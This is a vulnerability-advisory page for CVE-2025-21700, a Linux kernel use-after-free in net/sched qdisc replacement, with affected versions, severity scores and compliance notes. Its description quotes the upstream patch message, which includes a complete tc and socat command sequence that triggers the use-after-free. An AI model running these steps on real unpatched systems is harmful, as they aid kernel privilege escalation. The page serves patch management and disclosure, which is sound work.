HighCVE-2025-21700

    Linux Kernel: security vulnerability (CVE-2025-21700)

    Published Last modified Sources: SUSE, BSI, Debian LTS, Siemens ProductCERT, CVE.org, Msrc Update Guide, EUVD

    What is affected, what to do

    In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.

    Update Linux Kernel to version 5.4.291, Linux Kernel to version 5.10.235, Linux Kernel to version 5.15.179.

    Affected
    • Linux Kernel lt 2.6.12..5.4.291
    • Linux Kernel lt 5.5..5.10.235
    • Linux Kernel lt 5.11..5.15.179
    • Linux Kernel lt 5.16..6.1.129
    • Linux Kernel lt 6.2..6.6.76
    • Linux Kernel lt 6.7..6.12.13
    • Linux Kernel lt 6.13..6.13.2
    Fixed in
    • Linux Kernel 5.4.291
    • Linux Kernel 5.10.235
    • Linux Kernel 5.15.179
    • Linux Kernel 6.1.129
    • Linux Kernel 6.6.76
    • Linux Kernel 6.12.13
    • Linux Kernel 6.13.2
    • Linux Kernel 6.14

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    7.8

    Priority

    XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.

    Source: NVD, CVSS v3

    7.8

    CVSS v3

    Severity High on the scale from 0 to 10.

    Source: SUSE, BSI, Debian LTS, Siemens ProductCERT, CVE.org, Msrc Update Guide, EUVD

    0.2 %

    EPSS score

    Low — model estimates < 1% exploitation likelihood.

    Source: FIRST EPSS, percentile 14.1

    Show all metrics
    Severity
    High
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    48.44 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    XIEM Effective CVSS

    XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.

    Read in glossary
    7.8 Methodology
    CVSS v3

    CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.

    Read in glossary
    7.8
    EPSS score

    The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.

    Read in glossary
    0.2 %
    Low — model estimates < 1% exploitation likelihood.
    EPSS percentile

    The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.

    Read in glossary
    14.1
    Elevated — this CVE ranks above at least 10% of all CVEs scored today.
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published
    CISA assessment (SSVC)
    Exploitation: none known · not automatable · Technical impact: total
    Source: CISA Vulnrichment, as of 13 February 2025
    CWE

    CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.

    Read in glossary
    CWE-416

    Detection rules

    No NEOSEC detection rule is available for this vulnerability yet.

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>

    Source: suse_csaf, BSI CSAF, BSI WID Portal, Debian LTS Advisories, siemens_advisory, cvelistv5, Microsoft Security Update Guide, ENISA EUVD, NVD (NIST), CVE.org (MITRE)

    Affected products

    The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.

    Affected products
    Affected versionsFixed in
    LinuxLinux
    • 5.5 – < 5.10.235
    • 2.6.12 – < 5.4.291
    • 6.13 – < 6.13.2
    • —
    • 5.16 – < 6.1.129
    • 5.11 – < 5.15.179
    • 6.7 – < 6.12.13
    • 6.2 – < 6.6.76
    • 5.10.235
    • 5.4.291
    • 6.13.2
    • 6.14
    • 6.1.129
    • 5.15.179
    • 6.12.13
    • 6.6.76
    DellSecure Connect Gateway
    • < 5.30.0.14
    • 5.30.0.14
    SiemensSIMATIC S7
    • 1500 TM MFP V1.1.1 GNU/Linux subsystem
    • —

    Vendors and products

    Affected operating systems

    Affected operating systems
    Linuxdebianlinuxbullseye
    Linuxdebianlinux-6.1bullseye
    Linuxlinuxlinux_kernel—

    Weakness classes (CWE)

    • CWE-416Use After Free

      Variant

      The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

      Entry at MITRE CWE-416

    References & sources

    Changes to this CVE

    Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).

    1. Record modifiedLinux

      Show 24 original changes
      Individual changes of this event as published by NVD
      TypeActionBeforeAfter
      Referenceadded
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      https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d
      Referenceadded
      —
      https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
      Referenceadded
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      https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
      Referenceadded
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      https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
      Referenceadded
      —
      https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f
      Referenceadded
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      https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97
      Referenceadded
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      https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf
      Referenceadded
      —
      https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b
      Referenceremoved
      https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d
      —
      Referenceremoved
      https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
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      Referenceremoved
      https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
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      Referenceremoved
      https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
      —
      Referenceremoved
      https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f
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      Referenceremoved
      https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97
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      Referenceremoved
      https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf
      —
      Referenceremoved
      https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b
      —
      Reference typeremoved
      https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d Types: Patch
      —
      Reference typeremoved
      https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc Types: Patch
      —
      Reference typeremoved
      https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70 Types: Patch
      —
      Reference typeremoved
      https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8 Types: Patch
      —
      Reference typeremoved
      https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f Types: Patch
      —
      Reference typeremoved
      https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97 Types: Patch
      —
      Reference typeremoved
      https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf Types: Patch
      —
      Reference typeremoved
      https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b Types: Patch
      —

      Source identifier: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

    2. Record modifiedCVE Program

      Show 4 original changes
      Individual changes of this event as published by NVD
      TypeActionBeforeAfter
      Referenceadded
      —
      https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html
      Referenceadded
      —
      https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html
      Referenceremoved
      https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html
      —
      Referenceremoved
      https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html
      —

      Source identifier: af854a3a-2127-422b-91ae-364da2661108

    3. Record modifiedSiemens ADP

      Show 2 original changes
      Individual changes of this event as published by NVD
      TypeActionBeforeAfter
      Affected versions (publisher)added
      —
      New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2025/21xxx/CVE-2025-21700.json">CVE-2025-21700</a>
      Referenceadded
      —
      https://cert-portal.siemens.com/productcert/html/ssa-784472.html

      Source identifier: 0b142b55-0307-4c5a-b3c9-f314f3fb7c5e

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